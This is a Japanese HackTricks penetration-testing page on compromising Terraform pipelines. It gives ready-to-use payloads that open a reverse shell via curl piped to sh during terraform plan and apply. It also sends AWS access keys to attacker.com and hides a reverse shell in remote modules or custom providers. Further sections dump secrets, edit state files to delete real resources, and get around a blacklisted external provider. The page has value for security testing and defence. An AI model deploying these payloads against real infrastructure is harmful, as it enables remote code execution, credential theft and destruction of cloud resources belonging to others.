Terraform Security

Support HackTricks

基本情報

ドキュメントから:

HashiCorp Terraformは、インフラストラクチャをコードとして管理するツールであり、クラウドおよびオンプレミスのリソースを人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。その後、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントや、DNSエントリやSaaS機能などの高レベルコンポーネントを管理できます。

Terraformはどのように機能しますか?

Terraformは、クラウドプラットフォームや他のサービス上でリソースを作成および管理します。これをアプリケーションプログラミングインターフェース(API)を通じて行います。プロバイダーは、Terraformがアクセス可能なAPIを持つほぼすべてのプラットフォームやサービスで機能することを可能にします。

HashiCorpとTerraformコミュニティは、すでに1700以上のプロバイダーを作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、Terraform Registryで見つけることができ、Amazon Web Services(AWS)、Azure、Google Cloud Platform(GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。

Terraformのコアワークフローは、3つのステージで構成されています。

  • 書き込み: 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド(VPC)ネットワーク上の仮想マシンにアプリケーションをデプロイするための構成を作成することがあります。

  • 計画: Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。

  • 適用: 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケーリングする前にVPCを再作成します。

Terraformラボ

コンピュータにterraformをインストールするだけです。

ここにガイドがあり、ここにterraformをダウンロードする最良の方法があります。

TerraformにおけるRCE

Terraformは、ウェブページやネットワークサービスを公開していないプラットフォームであるため、enumerateすることはできません。したがって、terraformを妥協する唯一の方法は、terraform設定ファイルを追加/変更できることです。

ただし、terraformは非常に敏感なコンポーネントであり、適切に機能するために特権アクセスを持つ必要があります。

攻撃者がterraformが実行されているシステムを妥協する主な方法は、terraform設定を保存しているリポジトリを妥協することです。なぜなら、ある時点でそれらは解釈されるからです。

実際、PRが作成された後にterraform plan/applyを自動的に実行するソリューションが存在します。たとえば、Atlantisがあります:

terraformファイルを妥協できる場合、誰かがterraform planまたはterraform applyを実行したときにRCEを実行する方法はいくつかあります。

Terraform plan

Terraform planは、Terraformで最も使用されるコマンドであり、Terraformを使用する開発者やソリューションは常に呼び出しています。したがって、RCEを取得する最も簡単な方法は、任意のコマンドをterraform planで実行するようにterraform設定ファイルを汚染することです。

外部プロバイダーを使用する

Terraformは、Terraformと外部プログラムの間のインターフェースを提供するexternalプロバイダーを提供しています。externalデータソースを使用して、plan中に任意のコードを実行できます。

terraform設定ファイルに次のようなものを注入すると、terraform planを実行したときにリバースシェルが実行されます:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

カスタムプロバイダーの使用

攻撃者は、Terraform Registryカスタムプロバイダーを送信し、その後、機能ブランチのTerraformコードに追加することができます(こちらの例):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

プロバイダーは init でダウンロードされ、plan が実行されると悪意のあるコードが実行されます。

例は https://github.com/rung/terraform-provider-cmdexec で見つけることができます。

外部参照の使用

前述の2つのオプションは便利ですが、あまりステルス性がありません(2つ目はよりステルス性がありますが、1つ目よりも複雑です)。この攻撃をよりステルスな方法で実行することもできます。以下の提案に従ってください:

  • terraformファイルにrev shellを直接追加する代わりに、rev shellを含む外部リソースをロードすることができます:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

あなたはhttps://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modulesでrev shellコードを見つけることができます。

  • 外部リソースでは、ref機能を使用して、リポジトリ内のブランチにあるterraform rev shellコードを隠すことができます。例えば、次のようにします: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform applyはすべての変更を適用するために実行されます。また、悪意のあるTerraformファイルをlocal-execを注入してRCEを取得するために悪用することもできます。 次のようなペイロードがmain.tfファイルに含まれていることを確認するだけです:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前の技術からの提案に従って、この攻撃を外部参照を使用してよりステルス的に実行します。

Secrets Dumps

terraform applyを実行することでterraformによって使用される秘密の値をダンプするには、terraformファイルに次のようなものを追加します:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraformステートファイルの悪用

terraformステートファイルに書き込みアクセスがあるが、terraformコードを変更できない場合、この研究はファイルを利用するための興味深いオプションを提供します。

リソースの削除

リソースを削除する方法は2つあります:

  1. 実際のリソースを削除するために、ランダムな名前のリソースをステートファイルに挿入する

terraformはそのリソースが存在すべきではないと判断し、それを削除します(指定された実際のリソースIDに従って)。前のページの例:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. リソースを削除するように変更し、更新できないようにする(そうすれば削除され再作成される)

EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。

RCE

カスタムプロバイダーを作成することも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することができます。元の研究からの例:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

ブラックリストに登録されたプロバイダーの置き換え

hashicorp/external がブラックリストに登録されている状況に遭遇した場合、次の手順で external プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external プロバイダーのフォークを使用します。自分自身のフォークや再実装を公開することもできます。

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

その後、通常通り external を使用できます。

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

監査ツール

  • tfsec: tfsecは、あなたのterraformコードの静的解析を使用して、潜在的な誤設定を特定します。

  • terascan: Terrascanは、Infrastructure as Codeのための静的コードアナライザーです。

参考文献

HackTricksをサポートする

Last updated